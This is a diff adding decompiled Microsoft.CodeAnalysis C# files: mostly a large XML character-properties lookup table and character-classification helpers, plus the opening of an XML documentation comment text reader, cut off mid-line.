208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 254, 248, 254, 254, + 248, 248, 248, 248, 248, 248, 248, 208, 208, 208, + 208, 208, 254, 254, 254, 254, 254, 254, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 208, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 254, 254, 208, + 254, 208, 208, 254, 254, 208, 254, 208, 208, 254, + 208, 208, 208, 208, 208, 208, 254, 254, 254, 254, + 208, 254, 254, 254, 254, 254, 254, 254, 208, 254, + 254, 254, 208, 254, 208, 254, 208, 208, 254, 254, + 208, 254, 254, 208, 254, 248, 254, 254, 248, 248, + 248, 248, 248, 248, 208, 248, 248, 254, 208, 208, + 254, 254, 254, 254, 254, 208, 248, 208, 248, 248, + 248, 248, 248, 248, 208, 208, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 248, 248, + 208, 208, 208, 208, 208, 208, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 248, 208, 248, + 208, 248, 208, 208, 208, 208, 248, 248, 254, 254, + 254, 254, 254, 254, 254, 254, 208, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 208, 208, 208, 208, 208, 208, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 208, 248, 248, + 248, 248, 248, 248, 208, 208, 208, 208, 248, 248, + 248, 248, 248, 248, 208, 248, 208, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 208, 208, + 208, 248, 248, 248, 248, 248, 248, 248, 208, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 254, 208, 254, 254, + 208, 254, 254, 254, 208, 254, 208, 254, 254, 208, + 254, 254, 254, 254, 254, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 254, 208, 254, 208, + 254, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 254, 208, 254, 208, 254, 208, 208, 208, + 254, 254, 208, 208, 208, 254, 208, 208, 208, 208, + 208, 254, 254, 254, 208, 254, 208, 254, 208, 254, + 208, 254, 208, 208, 208, 254, 254, 208, 208, 208, + 254, 254, 208, 254, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 254, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 254, 208, 208, 254, 208, 208, + 254, 254, 208, 208, 208, 208, 208, 208, 208, 254, + 254, 208, 254, 208, 254, 254, 254, 254, 254, 254, + 254, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 254, 208, 208, 208, 208, 254, 208, 208, 208, + 208, 208, 208, 208, 208, 254, 208, 208, 208, 208, + 208, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 208, 208, + 208, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 208, 208, 208, 208, 208, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 208, 254, 254, 254, 254, 254, 254, 208, 208, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 208, 208, + 254, 254, 254, 254, 254, 254, 208, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 208, 254, 208, 254, + 208, 254, 208, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 208, 208, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 208, + 254, 254, 254, 254, 254, 254, 254, 208, 254, 208, + 208, 208, 254, 254, 254, 208, 254, 254, 254, 254, + 254, 254, 254, 208, 208, 208, 254, 254, 254, 254, + 208, 208, 254, 254, 254, 254, 254, 254, 208, 208, + 208, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 208, 208, 208, 208, + 254, 254, 254, 208, 254, 254, 254, 254, 254, 254, + 254, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 208, 208, 208, 208, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 208, + 208, 208, 254, 254, 208, 208, 254, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 254, + 254, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 248, 208, 254, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 248, 248, + 248, 248, 248, 248, 208, 248, 248, 248, 248, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 208, 208, 208, 248, + 248, 208, 208, 248, 248, 208, 208, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 248, 248, + 248, 208, 208, 208, 208, 208, 208, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 0, 0 + }; + + private static byte GetCharProperties(char i) + { + byte b = s_charPropertiesIndex[(int)i >> 8]; + return s_charProperties[(b << 8) + (i & 0xFF)]; + } + + public static bool IsWhiteSpace(char ch) + { + return (GetCharProperties(ch) & 1) != 0; + } + + public static bool IsExtender(char ch) + { + return ch == '·'; + } + + public static bool IsNCNameSingleChar(char ch) + { + return (GetCharProperties(ch) & 8) != 0; + } + + public static bool IsStartNCNameSingleChar(char ch) + { + return (GetCharProperties(ch) & 4) != 0; + } + + public static bool IsNameSingleChar(char ch) + { + if (!IsNCNameSingleChar(ch)) + { + return ch == ':'; + } + return true; + } + + public static bool IsStartNameSingleChar(char ch) + { + if (!IsStartNCNameSingleChar(ch)) + { + return ch == ':'; + } + return true; + } + + public static bool IsCharData(char ch) + { + return (GetCharProperties(ch) & 0x10) != 0; + } + + public static bool IsPubidChar(char ch) + { + if (ch < '\u0080') + { + return ("␀\0ᄏ꿿\uffff蟿\ufffe߿"[(int)ch >> 4] & (1 << (ch & 0xF))) != 0; + } + return false; + } + + internal static bool IsTextChar(char ch) + { + return (GetCharProperties(ch) & 0x40) != 0; + } + + internal static bool IsAttributeValueChar(char ch) + { + return (GetCharProperties(ch) & 0x80) != 0; + } + + public static bool IsLetter(char ch) + { + return (GetCharProperties(ch) & 2) != 0; + } + + public static bool IsNCNameCharXml4e(char ch) + { + return (GetCharProperties(ch) & 0x20) != 0; + } + + public static bool IsStartNCNameCharXml4e(char ch) + { + if (!IsLetter(ch)) + { + return ch == '_'; + } + return true; + } + + public static bool IsNameCharXml4e(char ch) + { + if (!IsNCNameCharXml4e(ch)) + { + return ch == ':'; + } + return true; + } + + public static bool IsStartNameCharXml4e(char ch) + { + if (!IsStartNCNameCharXml4e(ch)) + { + return ch == ':'; + } + return true; + } + + public static bool IsDigit(char ch) + { + return InRange(ch, 48, 57); + } + + public static bool IsHexDigit(char ch) + { + if (!InRange(ch, 48, 57) && !InRange(ch, 'a', 'f')) + { + return InRange(ch, 'A', 'F'); + } + return true; + } + + internal static bool IsHighSurrogate(int ch) + { + return InRange(ch, 55296, 56319); + } + + internal static bool IsLowSurrogate(int ch) + { + return InRange(ch, 56320, 57343); + } + + internal static bool IsSurrogate(int ch) + { + return InRange(ch, 55296, 57343); + } + + internal static int CombineSurrogateChar(int lowChar, int highChar) + { + return (lowChar - 56320) | ((highChar - 55296 << 10) + 65536); + } + + internal static void SplitSurrogateChar(int combinedChar, out char lowChar, out char highChar) + { + int num = combinedChar - 65536; + lowChar = (char)(56320 + num % 1024); + highChar = (char)(55296 + num / 1024); + } + + internal static bool IsOnlyWhitespace(string str) + { + return IsOnlyWhitespaceWithPos(str) == -1; + } + + internal static int IsOnlyWhitespaceWithPos(string str) + { + if (str != null) + { + for (int i = 0; i < str.Length; i++) + { + if ((GetCharProperties(str[i]) & 1) == 0) + { + return i; + } + } + } + return -1; + } + + internal static int IsOnlyCharData(string str) + { + if (str != null) + { + for (int i = 0; i < str.Length; i++) + { + if ((GetCharProperties(str[i]) & 0x10) == 0) + { + if (i + 1 >= str.Length || !IsHighSurrogate(str[i]) || !IsLowSurrogate(str[i + 1])) + { + return i; + } + i++; + } + } + } + return -1; + } + + internal static bool IsOnlyDigits(string str, int startPos, int len) + { + for (int i = startPos; i < startPos + len; i++) + { + if (!IsDigit(str[i])) + { + return false; + } + } + return true; + } + + internal static bool IsOnlyDigits(char[] chars, int startPos, int len) + { + for (int i = startPos; i < startPos + len; i++) + { + if (!IsDigit(chars[i])) + { + return false; + } + } + return true; + } + + internal static int IsPublicId(string str) + { + if (str != null) + { + for (int i = 0; i < str.Length; i++) + { + if (!IsPubidChar(str[i])) + { + return i; + } + } + } + return -1; + } + + private static bool InRange(int value, int start, int end) + { + return (uint)(value - start) <= (uint)(end - start); + } + + internal static bool InRange(char value, char start, char end) + { + return (uint)(value - start) <= (uint)(end - start); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlDocumentationCommentTextReader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlDocumentationCommentTextReader.cs new file mode 100644 index 0000000..7e145bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlDocumentationCommentTextReader.cs @@ -0,0 +1,154 @@ +using System; +using System.IO; +using System.Xml; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class XmlDocumentationCommentTextReader +{ + internal sealed class Reader : TextReader + { + private string _text; + + private int _position; + + private const int maxReadsPastTheEnd = 100; + + private int _readsPastTheEnd; + + private static readonly string s_rootElementName = "_" + Guid.NewGuid().ToString("N"); + + private static readonly string s_currentElementName = "_" + Guid.NewGuid().ToString("N"); + + internal static readonly string RootStart = "<" + s_rootElementName + ">"; + + internal static readonly string CurrentStart = "<" + s_currentElementName + ">"; + + internal static readonly string CurrentEnd = ""; + + internal int Position => _position; + + public bool Eof => _readsPastTheEnd >= 100; + + public void Reset() + { + _text = null; + _position = 0; + _readsPastTheEnd = 0; + } + + public void SetText(string text) + { + _text = text; + _readsPastTheEnd = 0; + if (_position > 0) + { + _position = RootStart.Length; + } + } + + public static bool ReachedEnd(XmlReader reader) + { + if (reader.Depth == 1 && reader.NodeType == XmlNodeType.EndElement) + { + return reader.Name == s_currentElementName; + } + return false; + } + + public override int Read(char[] buffer, int index, int count) + { + if (count == 0 || Eof) + { + return 0; + } + int num = count; + _position += EncodeAndAdvance(RootStart, _position, buffer, ref index, ref count); + _position += EncodeAndAdvance(CurrentStart, _position - RootStart.Length, buffer, ref index, ref count); + _position += EncodeAndAdvance(_text, _position - RootStart.Length - CurrentStart.Length, buffer, ref index, ref count); + _position += EncodeAndAdvance(CurrentEnd, _position - RootStart.Length - CurrentStart.Length 